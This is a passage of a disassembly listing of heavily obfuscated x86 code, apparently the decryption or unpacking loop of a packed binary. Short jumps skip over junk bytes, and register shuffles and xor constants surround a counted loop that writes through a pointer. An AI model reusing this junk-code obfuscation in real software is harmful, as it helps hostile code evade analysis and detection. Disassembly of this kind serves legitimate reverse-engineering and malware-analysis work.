loc_46CEEC:				; CODE XREF: DMN1:0046CED0j
		xchg	ebx, edi
		cmc
		xchg	edi, edx
		or	ecx, 0FFFFFFFFh
		jmp	short loc_46CEFC
; ---------------------------------------------------------------------------
		dw 0F8E4h
; ---------------------------------------------------------------------------
		aaa
		stc
		xchg	edx, eax


loc_46CEFC:				; CODE XREF: DMN1:0046CEF4j
		inc	edx
		jmp	short loc_46CF1A
; ---------------------------------------------------------------------------
		db 0F0h
		dd 5266FD7Eh, 63EE183Ah, 0CB7FBBEDh, 0C3282B85h, 6D74B211h
		dd 0A8E91854h
		db 0FAh, 0CAh
; ---------------------------------------------------------------------------


loc_46CF1A:				; CODE XREF: DMN1:0046CEFDj
		jmp	short loc_46CF20
; ---------------------------------------------------------------------------
		dd 0CC679CEFh
; ---------------------------------------------------------------------------


loc_46CF20:				; CODE XREF: DMN1:loc_46CF1Aj
		bswap	esp
		clc
		jmp	short loc_46CF2B
; ---------------------------------------------------------------------------
		inc	edi
		inc	byte ptr [esi+49h]
		retn
; ---------------------------------------------------------------------------
		cmpsb


loc_46CF2B:				; CODE XREF: DMN1:0046CF23j
		jmp	short loc_46CF3A
; ---------------------------------------------------------------------------
		db 34h,	39h, 42h
		dd 90B3555Bh, 46F6F665h
		db 95h,	7Ch
; ---------------------------------------------------------------------------


loc_46CF3A:				; CODE XREF: DMN1:loc_46CF2Bj
		jmp	short loc_46CF42
; ---------------------------------------------------------------------------
		pop	esi
		sal	dword ptr [eax+2Eh], cl
		inc	ebp
		aas


loc_46CF42:				; CODE XREF: DMN1:loc_46CF3Aj
		xchg	ebx, ecx
		not	eax
		inc	ebx
		jmp	short $+2
		xchg	ebx, esp
		jmp	short loc_46CF57
; ---------------------------------------------------------------------------
		db 8Bh,	2Dh, 32h
		dd 0BB2D166Ch
		db 0BEh, 0E9h, 9Dh
; ---------------------------------------------------------------------------


loc_46CF57:				; CODE XREF: DMN1:0046CF4Bj
		jmp	short loc_46CF6B
; ---------------------------------------------------------------------------
		db 0DEh, 30h, 65h
		dd 3C67D73Eh, 799ED64Fh, 0AE04CC2Bh
		db 0E1h, 0CDh, 19h
; ---------------------------------------------------------------------------


loc_46CF6B:				; CODE XREF: DMN1:loc_46CF57j
		jmp	short loc_46CF71
; ---------------------------------------------------------------------------
		aaa
		sub	edx, [ebx-33h]


loc_46CF71:				; CODE XREF: DMN1:loc_46CF6Bj
		xchg	eax, eax
		jmp	short loc_46CF83
; ---------------------------------------------------------------------------
		db 8Ah,	24h, 0A7h
		dd 0E76AD307h, 0F4717235h
		db 0E2h, 3Bh, 54h
; ---------------------------------------------------------------------------


loc_46CF83:				; CODE XREF: DMN1:0046CF73j
		jmp	short loc_46CFA0
; ---------------------------------------------------------------------------
		db 4Eh,	0F8h, 40h
		dd 659FECD5h, 7E946E93h, 0FF8DAA49h, 44208FD4h,	0A69E5117h
		dd 96161398h
; ---------------------------------------------------------------------------


loc_46CFA0:				; CODE XREF: DMN1:loc_46CF83j
		jmp	short loc_46CFA6
; ---------------------------------------------------------------------------
		dw 0D567h
		db  95h	; 
		db 0FCh	; 
; ---------------------------------------------------------------------------


loc_46CFA6:				; CODE XREF: DMN1:loc_46CFA0j
		jmp	short loc_46CFAA
; ---------------------------------------------------------------------------
		db 78h,	0B0h
; ---------------------------------------------------------------------------


loc_46CFAA:				; CODE XREF: DMN1:loc_46CFA6j
		jmp	short loc_46CFC3
; ---------------------------------------------------------------------------
		dd 2D8BC3EFh, 0EE9CCFDCh, 4E4C4168h, 0B52DF2D6h, 4D0CC0D6h
		db 99h,	0BDh, 3Ch
; ---------------------------------------------------------------------------


loc_46CFC3:				; CODE XREF: DMN1:loc_46CFAAj
		xor	esp, 41000h
		jmp	short loc_46CFE9
; ---------------------------------------------------------------------------
		db 0A3h
		dd 0FFA05166h, 0E30EF6BFh, 0F8848CCFh, 6B7268E3h, 0CFE54130h
		dd 2476AECAh, 2B0E2D19h
		db 0CFh
; ---------------------------------------------------------------------------


loc_46CFE9:				; CODE XREF: DMN1:0046CFC9j
		jmp	short loc_46D003
; ---------------------------------------------------------------------------
		db 0F7h
; ---------------------------------------------------------------------------
		retf	0B9B9h
; ---------------------------------------------------------------------------
		db 4
		dd 0AEDF6089h, 0AD7FA82Fh, 4EF1CD84h, 6E89EE0h
; ---------------------------------------------------------------------------
		xor	[edi+8], ebp


loc_46D003:				; CODE XREF: DMN1:loc_46CFE9j
		stc
		bswap	ebx
		jmp	short loc_46D025
; ---------------------------------------------------------------------------
		dd 44B23AB2h, 91C2BA06h, 0BEC68DFEh, 2A716A90h,	745C90E7h
		dd 5F8846A9h, 0D6E72E79h
		db 0EAh
; ---------------------------------------------------------------------------


loc_46D025:				; CODE XREF: DMN1:0046D006j
		jmp	short loc_46D036
; ---------------------------------------------------------------------------
		db 21h
		dd 12D417h, 901BA21Ah, 98606BDFh
		db 0C1h, 0A4h
; ---------------------------------------------------------------------------


loc_46D036:				; CODE XREF: DMN1:loc_46D025j
		jmp	short loc_46D040
; ---------------------------------------------------------------------------
		dd 4E1F3B8Ah, 0ECE59A62h
; ---------------------------------------------------------------------------


loc_46D040:				; CODE XREF: DMN1:loc_46D036j
		mov	ecx, 0AF1Fh


loc_46D045:				; CODE XREF: DMN1:0046D5B4j
		jmp	short loc_46D05F
; ---------------------------------------------------------------------------
		db 4Ch
		dd 0B836E312h, 0ECC6905Ch, 0E480DF8h, 0C33A2B41h, 32B86DEh
		db 0E6h, 15h, 67h
; ---------------------------------------------------------------------------


loc_46D05F:				; CODE XREF: DMN1:loc_46D045j
		rcl	edx, cl
		jmp	short loc_46D073
; ---------------------------------------------------------------------------
		sbb	al, 83h
		inc	ebp
		xor	eax, 9E5A9A52h
		dec	edx
		add	eax, 1F215BBFh
		ja	short loc_46D07F


loc_46D073:				; CODE XREF: DMN1:0046D061j
		jmp	short loc_46D08B
; ---------------------------------------------------------------------------
		not	dword ptr [ecx]
		leave
		push	eax
		mov	bl, 7Dh
		stosd
		cli
		inc	esp
		cmpsd


loc_46D07F:				; CODE XREF: DMN1:0046D071j
		and	[ebp+45h], esi
		jmp	far ptr	4346h:0F2A1181Fh
; ---------------------------------------------------------------------------
		db 16h,	21h
; ---------------------------------------------------------------------------


loc_46D08B:				; CODE XREF: DMN1:loc_46D073j
		rcr	edx, cl
		std
		xchg	ebx, ebp
		jmp	short loc_46D095
; ---------------------------------------------------------------------------
		dw 6CAEh
		db 73h
; ---------------------------------------------------------------------------


loc_46D095:				; CODE XREF: DMN1:0046D090j
		xchg	ebx, ebx
		jmp	short loc_46D0AE
; ---------------------------------------------------------------------------
		db 0DCh, 87h, 15h
		dd 0F789DCDEh, 0B079BF83h, 2DE01A8Bh, 7A7A75B8h
		db 0C7h, 74h
; ---------------------------------------------------------------------------


loc_46D0AE:				; CODE XREF: DMN1:0046D097j
		jmp	short loc_46D0C9
; ---------------------------------------------------------------------------
		mov	cl, 0F4h
		retf	0B121h
; ---------------------------------------------------------------------------
		align 2
		dw 6E9Ah
; ---------------------------------------------------------------------------
		test	eax, 0F2BCFA29h
		icebp
		retf	0AA85h
; ---------------------------------------------------------------------------
		aam	44h
		xchg	ebx, ds:90068CE0h


loc_46D0C9:				; CODE XREF: DMN1:loc_46D0AEj
		mov	edx, ebx
		jmp	short loc_46D0DA
; ---------------------------------------------------------------------------
		db 39h,	8Dh, 0F1h
; ---------------------------------------------------------------------------
		xchg	esp, cs:[edi-687C2969h]
		db	26h
		xor	al, al


loc_46D0DA:				; CODE XREF: DMN1:0046D0CBj
		jmp	short loc_46D0DF
; ---------------------------------------------------------------------------
		mov	bl, 0F8h
		pop	edi


loc_46D0DF:				; CODE XREF: DMN1:loc_46D0DAj
		jmp	short loc_46D0E3
; ---------------------------------------------------------------------------
		db 0FBh, 78h
; ---------------------------------------------------------------------------


loc_46D0E3:				; CODE XREF: DMN1:loc_46D0DFj
		jmp	short loc_46D103
; ---------------------------------------------------------------------------
		db 0A9h, 0CAh, 30h
		dd 79B4079Bh, 4993546Ch, 0DDCC8D5Ch, 6B49311h, 0E49D4499h
		dd 97B7344Ch
		db 6Eh,	0F3h, 0C2h
; ---------------------------------------------------------------------------


loc_46D103:				; CODE XREF: DMN1:loc_46D0E3j
		std
		jmp	short loc_46D11E
; ---------------------------------------------------------------------------
		retn	97C3h
; ---------------------------------------------------------------------------
		db 4Ch,	2Eh, 21h
		dd 0EBD6A9C8h, 34954475h, 0C7125B1Dh, 0AD46FF8Ah
		db 3, 8Ch
; ---------------------------------------------------------------------------


loc_46D11E:				; CODE XREF: DMN1:0046D104j
		add	edx, esp
		jmp	short loc_46D138
; ---------------------------------------------------------------------------
		dw 0F2D8h
		dd 6FAD95F2h, 8115192Ch, 689B0031h, 944FB451h, 0B0592AFCh
; ---------------------------------------------------------------------------


loc_46D138:				; CODE XREF: DMN1:0046D120j
		cld
		mov	ebp, [edx]
		jmp	short loc_46D14B
; ---------------------------------------------------------------------------
		sub	al, 77h
		pop	es
		jnz	short loc_46D1A0
		or	[ecx-1D860ABEh], ebx
		stosb
		sub	cl, [eax]


loc_46D14B:				; CODE XREF: DMN1:0046D13Bj
		neg	edx
		jmp	short loc_46D167
; ---------------------------------------------------------------------------
		db 7Ah
		dd 81E05493h, 2F0256DAh, 62743C91h, 85A6D255h, 0CCB1E564h
		db 0ACh, 56h, 0C1h
; ---------------------------------------------------------------------------


loc_46D167:				; CODE XREF: DMN1:0046D14Dj
		jmp	short loc_46D176
; ---------------------------------------------------------------------------
		db 52h,	7, 65h
; ---------------------------------------------------------------------------
		and	ds:0BA6063Ch, ch
		mov	dl, 34h
		adc	edx, esp


loc_46D176:				; CODE XREF: DMN1:loc_46D167j
		jmp	short loc_46D17E
; ---------------------------------------------------------------------------
		dd 4F8CD865h
		db 0C4h, 67h
; ---------------------------------------------------------------------------


loc_46D17E:				; CODE XREF: DMN1:loc_46D176j
		jmp	short loc_46D183
; ---------------------------------------------------------------------------
		db 4Dh,	1, 25h
; ---------------------------------------------------------------------------


loc_46D183:				; CODE XREF: DMN1:loc_46D17Ej
		and	eax, 0BA7370EDh
		jmp	short loc_46D1A4
; ---------------------------------------------------------------------------
		db 44h
		dd 0F921C626h, 37F0400Ch, 3324824Fh, 45FD1E9Ah,	0F6A979ABh
; ---------------------------------------------------------------------------


loc_46D1A0:				; CODE XREF: DMN1:0046D140j
		and	[ebx-40h], esi
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------


loc_46D1A4:				; CODE XREF: DMN1:0046D189j
		jmp	short loc_46D1AB
; ---------------------------------------------------------------------------
		jnz	short loc_46D1E5
		xlat
		test	al, 0Fh


loc_46D1AB:				; CODE XREF: DMN1:loc_46D1A4j
		xor	ebp, [edi]
		xchg	esp, edx
		jmp	short loc_46D1CF
; ---------------------------------------------------------------------------
		db 0C0h, 62h, 0D8h
		dd 2FF9812Ch, 0BBD767F2h, 8665B9ECh, 859CF606h,	0AF1A3BD1h
		dd 0D44132A7h
		db 4, 0AFh, 0CAh
; ---------------------------------------------------------------------------


loc_46D1CF:				; CODE XREF: DMN1:0046D1AFj
		jmp	short loc_46D1DB
; ---------------------------------------------------------------------------
		db 34h,	5, 1Fh
		dd 0D9AED452h
		db 46h,	0FAh, 0BFh
; ---------------------------------------------------------------------------


loc_46D1DB:				; CODE XREF: DMN1:loc_46D1CFj
		xchg	ebp, esp
		stc
		neg	eax
		xchg	ecx, ebx
		jmp	short loc_46D1ED
; ---------------------------------------------------------------------------
		db 0C1h
; ---------------------------------------------------------------------------


loc_46D1E5:				; CODE XREF: DMN1:0046D1A6j
		mov	edx, 0BA219056h
		lodsb
		cli
		nop


loc_46D1ED:				; CODE XREF: DMN1:0046D1E2j
		jmp	short loc_46D205
; ---------------------------------------------------------------------------
		db 22h
		dd 6AFA8922h, 1BDAA08Eh, 69834289h, 0A6FA5F8h, 8B0C0B24h
		db 3Bh
; ---------------------------------------------------------------------------


loc_46D205:				; CODE XREF: DMN1:loc_46D1EDj
		jmp	short loc_46D219
; ---------------------------------------------------------------------------
		db 6Fh
		dd 71F1E6A1h, 0B5E629C2h, 7AEE43ACh, 0F53F8C17h
		db 84h
; ---------------------------------------------------------------------------


loc_46D219:				; CODE XREF: DMN1:loc_46D205j
		jmp	short loc_46D22B
; ---------------------------------------------------------------------------
		db 1Eh
		dd 1C72E1FAh, 331FFC91h, 0F3A70FAFh
		db 3Ch,	0EBh, 63h
; ---------------------------------------------------------------------------


loc_46D22B:				; CODE XREF: DMN1:loc_46D219j
		xchg	esp, [edi]
		jmp	short loc_46D245
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8E92B59Ah, 6D33C508h, 7C74BDC3h, 0B7CAC1D9h,	7A6E09B7h
; ---------------------------------------------------------------------------
		popa


loc_46D245:				; CODE XREF: DMN1:0046D22Dj
		jmp	short loc_46D25B
; ---------------------------------------------------------------------------
		db 19h
		dd 56712426h, 326A150Bh, 8191195Eh, 0CF1A353h
		db 0FDh, 0D7h, 82h
; ---------------------------------------------------------------------------


loc_46D25B:				; CODE XREF: DMN1:loc_46D245j
		std
		xchg	eax, edx
		jmp	short loc_46D261
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------


loc_46D261:				; CODE XREF: DMN1:0046D25Ej
		jmp	short loc_46D26A
; ---------------------------------------------------------------------------
		db 0E8h
		dd 45FB1213h
		db 89h,	72h
; ---------------------------------------------------------------------------


loc_46D26A:				; CODE XREF: DMN1:loc_46D261j
		jmp	short loc_46D273
; ---------------------------------------------------------------------------
		dd 5A4392EBh
		db 91h,	4Dh, 0F2h
; ---------------------------------------------------------------------------


loc_46D273:				; CODE XREF: DMN1:loc_46D26Aj
		jmp	short loc_46D293
; ---------------------------------------------------------------------------
		dec	ebp
		retn
; ---------------------------------------------------------------------------
		db 2Ah
		dd 7C5C51F4h, 3B08B44Ah, 0E89D6E10h, 4117E125h,	90BC6000h
		dd 0A91300FDh
		db 97h,	0EDh, 0DEh
; ---------------------------------------------------------------------------


loc_46D293:				; CODE XREF: DMN1:loc_46D273j
		jmp	short loc_46D2A9
; ---------------------------------------------------------------------------
		db 43h,	0C4h, 0E4h
		dd 0CD3F1FCFh, 2793015Ah, 77E3590Eh, 203B3F30h
		db 0B0h
; ---------------------------------------------------------------------------


loc_46D2A9:				; CODE XREF: DMN1:loc_46D293j
		jmp	short loc_46D2B1
; ---------------------------------------------------------------------------
		add	eax, 0E2AE7B7Ah
		cdq


loc_46D2B1:				; CODE XREF: DMN1:loc_46D2A9j
		xor	ebp, 0C50B39BAh
		jmp	short loc_46D2CB
; ---------------------------------------------------------------------------
		db 3Eh,	63h, 7Bh
		dd 887ADE1Ch, 1C13F88Fh, 58E08EDFh
		db 0ADh, 63h, 0B5h
; ---------------------------------------------------------------------------


loc_46D2CB:				; CODE XREF: DMN1:0046D2B7j
		rol	esp, 1
		jmp	short loc_46D2D0
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------


loc_46D2D0:				; CODE XREF: DMN1:0046D2CDj
		jmp	short loc_46D2EA
; ---------------------------------------------------------------------------
		dw 0DD2h
		dd 0D407884Ch, 6F1FCC6Bh, 0EFC76FA3h, 0E7D975D8h, 0E1AB51B4h
		db 13h,	0A1h
; ---------------------------------------------------------------------------


loc_46D2EA:				; CODE XREF: DMN1:loc_46D2D0j
		xchg	edi, esp
		xchg	esi, ebx
		jmp	short loc_46D305
; ---------------------------------------------------------------------------
		mov	esp, 77296710h
		stosd
		adc	edi, edx
		xchg	dh, [ebp-5Ch]
		movsb
		mov	bh, 0B5h
		retf
; ---------------------------------------------------------------------------
		db 0A6h
		dd 19E16D2Ch
		db 39h
; ---------------------------------------------------------------------------


loc_46D305:				; CODE XREF: DMN1:0046D2EEj
		jmp	short loc_46D312
; ---------------------------------------------------------------------------
		db 75h
		dd 0C4214756h, 30BD0A7h
		db 1Dh,	0A7h
; ---------------------------------------------------------------------------


loc_46D312:				; CODE XREF: DMN1:loc_46D305j
		xchg	ebx, eax
		std
		jmp	short loc_46D328
; ---------------------------------------------------------------------------
		db 46h
		dd 0C7E8641Ah, 5B4E2B89h, 939CBA6Dh, 91EB30C8h
; ---------------------------------------------------------------------------


loc_46D328:				; CODE XREF: DMN1:0046D315j
		jmp	short loc_46D32C
; ---------------------------------------------------------------------------
		inc	ebp
		push	eax


loc_46D32C:				; CODE XREF: DMN1:loc_46D328j
		xor	eax, 0C44C7084h
		bswap	edx
		std
		jmp	short loc_46D34C
; ---------------------------------------------------------------------------
		db 73h
		dd 2BDD281Fh, 0FAE0E37Eh, 7C43A39Ah, 9025D198h,	9AABB77Ah
; ---------------------------------------------------------------------------


loc_46D34C:				; CODE XREF: DMN1:0046D335j
		add	edi, 6AA1596Ah
		jmp	short loc_46D35B
; ---------------------------------------------------------------------------
		dd 60E951F3h
; ---------------------------------------------------------------------------
		or	[eax+28h], ebp


loc_46D35B:				; CODE XREF: DMN1:0046D352j
		xchg	edx, esi
		jmp	short loc_46D37E
; ---------------------------------------------------------------------------
		align 10h
		dd 2536F12Bh, 2103A18h,	7AE5AEE6h, 1CA3BA07h, 0BEBCF0EFh
		dd 0CD7CD1E9h, 7CE1F45Dh
; ---------------------------------------------------------------------------
		db	64h
		dec	ebp


loc_46D37E:				; CODE XREF: DMN1:0046D35Dj
		jmp	short loc_46D382
; ---------------------------------------------------------------------------
		db 7Ch,	76h
; ---------------------------------------------------------------------------


loc_46D382:				; CODE XREF: DMN1:loc_46D37Ej
		xchg	edi, [esp]
		jmp	short loc_46D3A4
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0A63E9C32h, 0D136FFFDh, 0A6530474h, 690655E2h, 41FC49Ah
		dd 7A4D33ECh, 472CEEh
; ---------------------------------------------------------------------------


loc_46D3A4:				; CODE XREF: DMN1:0046D385j
		jmp	short loc_46D3A7
; ---------------------------------------------------------------------------
		cwde


loc_46D3A7:				; CODE XREF: DMN1:loc_46D3A4j
		cmc
		jmp	short loc_46D3BB
; ---------------------------------------------------------------------------
		dw 0EF2Dh
		dd 0C712E51h, 1254F898h, 303F8A31h
; ---------------------------------------------------------------------------
		scasb
		fdivr	qword ptr [edx]


loc_46D3BB:				; CODE XREF: DMN1:0046D3A8j
		xchg	eax, edi
		inc	edi
		xchg	edi, edx
		jmp	short loc_46D3C4
; ---------------------------------------------------------------------------
		dw 6429h
; ---------------------------------------------------------------------------


loc_46D3C4:				; CODE XREF: DMN1:0046D3C0j
		jmp	short loc_46D3E2
; ---------------------------------------------------------------------------
		dw 0C56Fh
		dd 0CFD81D32h, 5F74DACAh, 67EFD342h, 0B099AB98h, 9414C0DEh
		dd 8ED9DA6Ah
		db 0F4h, 60h
; ---------------------------------------------------------------------------


loc_46D3E2:				; CODE XREF: DMN1:loc_46D3C4j
		cld
		mov	edx, ecx
		jmp	short loc_46D3F0
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0FFBDC794h, 17A20A92h
; ---------------------------------------------------------------------------


loc_46D3F0:				; CODE XREF: DMN1:0046D3E5j
		jmp	short loc_46D3F7
; ---------------------------------------------------------------------------
		dw 5821h
		db 0EDh, 4Ah, 82h
; ---------------------------------------------------------------------------


loc_46D3F7:				; CODE XREF: DMN1:loc_46D3F0j
		jmp	short loc_46D3FF
; ---------------------------------------------------------------------------
		db 0C6h, 2Ah, 85h
		db 0C6h, 0B7h, 6Fh
; ---------------------------------------------------------------------------


loc_46D3FF:				; CODE XREF: DMN1:loc_46D3F7j
		bswap	ebp
		add	edx, ebx
		stc
		cmc
		jmp	short loc_46D41B
; ---------------------------------------------------------------------------
		db 16h
		dd 0C4022577h, 25F5F349h, 5A57972Dh, 252290B1h
		db 0BBh, 9Dh, 0A8h
; ---------------------------------------------------------------------------


loc_46D41B:				; CODE XREF: DMN1:0046D405j
		jmp	short loc_46D431
; ---------------------------------------------------------------------------
		db 4Ah,	0DDh, 87h
		dd 403E876Ah, 820A50C9h, 368300BCh, 0E0A4BC23h
		db 0D9h
; ---------------------------------------------------------------------------


loc_46D431:				; CODE XREF: DMN1:loc_46D41Bj
		mov	[edx], eax
		xor	ebp, 1A8B2F63h
		jmp	short loc_46D459
; ---------------------------------------------------------------------------
		db 0E6h
		dd 82C9D45Ah, 0E3643916h, 0C6C06133h, 7E758AC3h, 1475D032h
		dd 0E68F60AAh, 57B4987Fh
		db 7Fh
; ---------------------------------------------------------------------------


loc_46D459:				; CODE XREF: DMN1:0046D439j
		jmp	short loc_46D46F
; ---------------------------------------------------------------------------
		db 9
		dd 0A15F65AEh, 0B5BC7BF4h, 518C6720h, 82DD0A03h
		db 0B9h, 58h, 89h
; ---------------------------------------------------------------------------


loc_46D46F:				; CODE XREF: DMN1:loc_46D459j
		jmp	short loc_46D47E
; ---------------------------------------------------------------------------
		db 60h,	29h, 0B6h
		dd 6D65D72Fh, 4857B2Ch
; ---------------------------------------------------------------------------
		mov	al, 8Bh


loc_46D47E:				; CODE XREF: DMN1:loc_46D46Fj
		jmp	short loc_46D485
; ---------------------------------------------------------------------------
		dd 1A592F9Bh
		db 34h
; ---------------------------------------------------------------------------


loc_46D485:				; CODE XREF: DMN1:loc_46D47Ej
		std
		inc	ebx
		xchg	esp, esp
		test	eax, 0F8C8F8D2h
		inc	ebx
		neg	eax
		jmp	short loc_46D4A2
; ---------------------------------------------------------------------------
		push	cs
		mov	ch, 0EFh
		retf
; ---------------------------------------------------------------------------
		dd 468563C4h, 0F3153828h
		db 3Dh,	0D0h
; ---------------------------------------------------------------------------


loc_46D4A2:				; CODE XREF: DMN1:0046D492j
		test	ebp, 0F8B139CFh
		jmp	short loc_46D4C2
; ---------------------------------------------------------------------------
		dw 836Ah
		dd 0B371BFC9h, 1CBB5B25h, 0E3A0B0A2h, 0E92B71E3h, 27DF3DB4h
; ---------------------------------------------------------------------------
		fadd	qword ptr [ebx]


loc_46D4C2:				; CODE XREF: DMN1:0046D4A8j
		clc
		xchg	esi, ecx
		jmp	short loc_46D4D8
; ---------------------------------------------------------------------------
		db 92h
		dd 0E978A8A3h, 65164A45h, 6FEF243h, 0C0341B50h
; ---------------------------------------------------------------------------


loc_46D4D8:				; CODE XREF: DMN1:0046D4C5j
		xchg	ebp, eax
		add	ebx, 1
		clc
		add	edx, 0F37A4A2Ah
		jmp	short loc_46D4F9
; ---------------------------------------------------------------------------
		dw 7D78h
		dd 0B4556FCEh, 4F8D1C78h, 369F30F7h, 0EB364B27h
		db 29h
; ---------------------------------------------------------------------------


loc_46D4F9:				; CODE XREF: DMN1:0046D4E4j
		add	ebx, 1
		xchg	ebp, edx
		jmp	short loc_46D516
; ---------------------------------------------------------------------------
		dd 0CF1B8166h, 4885F49h, 96AC8A53h, 2BD11B6Bh, 1A4C7C7Ah
		db 39h,	4Ah
; ---------------------------------------------------------------------------


loc_46D516:				; CODE XREF: DMN1:0046D4FEj
		std
		adc	ecx, 0A439A34Bh
		jmp	short loc_46D538
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0B42034A2h, 280A9F5Eh, 9B8D365Fh, 2B98BBE6h,	0F71E29B4h
		dd 9EE622Ch
; ---------------------------------------------------------------------------


loc_46D538:				; CODE XREF: DMN1:0046D51Dj
		jmp	short loc_46D544
; ---------------------------------------------------------------------------
		dw 0C118h
		dd 45A36099h, 72DAD30Ah
; ---------------------------------------------------------------------------


loc_46D544:				; CODE XREF: DMN1:loc_46D538j
		xchg	esi, eax
		sub	edi, 1
		jz	short loc_46D5B9
		jmp	short loc_46D566
; ---------------------------------------------------------------------------
		db 6, 65h, 0D7h
		dd 24783FC8h, 835BE8Fh,	758729FDh, 3525E42Bh, 7FAEFD81h
		db 64h,	0D9h
; ---------------------------------------------------------------------------


loc_46D566:				; CODE XREF: DMN1:0046D54Bj
		xchg	esp, ebx
		stc
		xchg	ecx, edi
		jmp	short loc_46D56F
; ---------------------------------------------------------------------------
		db 35h,	88h
; ---------------------------------------------------------------------------


loc_46D56F:				; CODE XREF: DMN1:0046D56Bj
		jmp	short loc_46D57F
; ---------------------------------------------------------------------------
		db 82h,	9, 1Ah
		dd 0FC8C830Dh, 0A04142F9h
		db 0DFh, 0ACh, 0D2h
; ---------------------------------------------------------------------------


loc_46D57F:				; CODE XREF: DMN1:loc_46D56Fj
		jmp	short loc_46D584
; ---------------------------------------------------------------------------
		db 8Fh,	0E9h, 3Fh
; ---------------------------------------------------------------------------


loc_46D584:				; CODE XREF: DMN1:loc_46D57Fj
		test	edx, 10487964h
		jmp	short loc_46D596
; ---------------------------------------------------------------------------
		dd 9534B1B7h, 18793CF2h
		db 59h,	23h
; ---------------------------------------------------------------------------


loc_46D596:				; CODE XREF: DMN1:0046D58Aj
		xchg	ebp, eax
		jmp	short loc_46D59D
; ---------------------------------------------------------------------------
		dw 0A2B5h
		db 9
; ---------------------------------------------------------------------------


loc_46D59D:				; CODE XREF: DMN1:0046D598j
		jmp	short loc_46D5B1
; ---------------------------------------------------------------------------
		db 0CDh
		dd 3E155A60h, 0DB8D7011h, 96E2D013h, 2BD7D757h
; ---------------------------------------------------------------------------
		stosd


loc_46D5B1:				; CODE XREF: DMN1:loc_46D59Dj
		cmc
		xchg	edi, ebx
		jmp	loc_46D045
; ---------------------------------------------------------------------------


loc_46D5B9:				; CODE XREF: DMN1:0046D549j
		xchg	ebp, eax
		jmp	short loc_46D5C0
; ---------------------------------------------------------------------------
		db 5Bh,	0C5h, 41h
; ---------------------------------------------------------------------------


loc_46D5C0:				; CODE XREF: DMN1:0046D5BBj
		jmp	short loc_46D5DB
; ---------------------------------------------------------------------------
		dw 8121h
		dd 35D02E57h, 28019430h, 0DC97AA1Eh, 0B09BDA7Ch, 161F264Fh
		db 0FAh, 3Dh, 1Fh
; ---------------------------------------------------------------------------


loc_46D5DB:				; CODE XREF: DMN1:loc_46D5C0j
		inc	eax
		jmp	short loc_46D5EF
; ---------------------------------------------------------------------------
		dw 6158h
		dd 71A2E6A7h, 84FDB205h, 25DC363Eh
		db 0BBh, 1Dh, 0CCh
; ---------------------------------------------------------------------------


loc_46D5EF:				; CODE XREF: DMN1:0046D5DCj
		jmp	short loc_46D604
; ---------------------------------------------------------------------------
		db 0C4h, 40h, 0CEh
		dd 0B3E0F4F7h, 84BF1675h, 0D14E8535h, 6EFDF326h
; ---------------------------------------------------------------------------


loc_46D604:				; CODE XREF: DMN1:loc_46D5EFj
		jmp	short $+2
		jmp	short loc_46D620
; ---------------------------------------------------------------------------
		dd 12915F3Dh, 0D2A8CE9h, 6F3A3766h, 0D5EC3023h,	47B286B3h
		dd 0A9DF8270h
; ---------------------------------------------------------------------------


loc_46D620:				; CODE XREF: DMN1:0046D606j
		jmp	short loc_46D625
; ---------------------------------------------------------------------------
		dw 6EE1h
; ---------------------------------------------------------------------------
		cmc


loc_46D625:				; CODE XREF: DMN1:loc_46D620j
		jmp	short loc_46D645
; ---------------------------------------------------------------------------
		db 0B3h
		dd 2EDE291Ch, 0A528A88Ah, 13360039h, 310C6BA5h,	7DC00528h
		dd 191D0913h, 622736C2h
; ---------------------------------------------------------------------------
		push	edx


loc_46D645:				; CODE XREF: DMN1:loc_46D625j
		not	esi
		jmp	short loc_46D65C
; ---------------------------------------------------------------------------
		db 0EAh, 7Dh, 0C7h
; ---------------------------------------------------------------------------
		xor	bl, [ebx-191AD49Fh]
		pop	ebp
		enter	0FFFFD128h, 7Bh
		jns	short loc_46D670
		push	cs
		stosd
		daa


loc_46D65C:				; CODE XREF: DMN1:0046D647j
		pop	eax
		jmp	short loc_46D674
; ---------------------------------------------------------------------------
		db 0A6h	; 
		db  80h	; 
		db  35h	; 5
		db  76h	; v
		db  8Dh	; 
		db 0EFh	; 
		db  95h	; 
		db 0FFh
		db  7Dh	; }
		db  67h	; g
		db 0C3h	; 
		dw 400Bh
		dd 0F28C08DDh
; ---------------------------------------------------------------------------


loc_46D670:				; CODE XREF: DMN1:0046D657j
		pop	ss
		lodsb
		mov	dh, 0AAh


loc_46D674:				; CODE XREF: DMN1:0046D65Dj
		jmp	short loc_46D678
; ---------------------------------------------------------------------------
		dw 9408h
; ---------------------------------------------------------------------------


loc_46D678:				; CODE XREF: DMN1:loc_46D674j
		jmp	short loc_46D699
; ---------------------------------------------------------------------------
		dw 0ECFCh
		dd 0BECFD42Ah, 4B8526C3h, 8582B335h, 0FB0F7786h, 20AEB33Bh
		dd 0FEC6F403h, 8CC29F4h
; ---------------------------------------------------------------------------
		pop	esi


loc_46D699:				; CODE XREF: DMN1:loc_46D678j
		stc
		jmp	short loc_46D6B5
; ---------------------------------------------------------------------------
		dd 0BD4FF7A8h, 0B29AE80Ch, 8294E49Ch, 0B56FB4CBh, 4F4842FAh
		dd 0A558B3CAh
		db 35h
; ---------------------------------------------------------------------------


loc_46D6B5:				; CODE XREF: DMN1:0046D69Aj
		jmp	short loc_46D6B8
; ---------------------------------------------------------------------------
		movsb


loc_46D6B8:				; CODE XREF: DMN1:loc_46D6B5j
		jmp	short loc_46D6C6
; ---------------------------------------------------------------------------
		dw 9F24h
		dd 0E3061B57h, 679D2A9Eh
		db 61h,	0Ch
; ---------------------------------------------------------------------------


loc_46D6C6:				; CODE XREF: DMN1:loc_46D6B8j
		or	ecx, 19AF6EA8h
		jmp	short loc_46D6D4
; ---------------------------------------------------------------------------
		dw 6537h
		dd 7E28D900h
; ---------------------------------------------------------------------------


loc_46D6D4:				; CODE XREF: DMN1:0046D6CCj
		jmp	short loc_46D6F2
; ---------------------------------------------------------------------------
		dw 318Ah
		dd 13B381FBh, 0E828AFE5h, 7A5CC89Fh, 97BCF04Bh,	0B481C9CFh
		dd 791BEC36h
; ---------------------------------------------------------------------------
		push	esi
		inc	ebp


loc_46D6F2:				; CODE XREF: DMN1:loc_46D6D4j
		jmp	short loc_46D70C
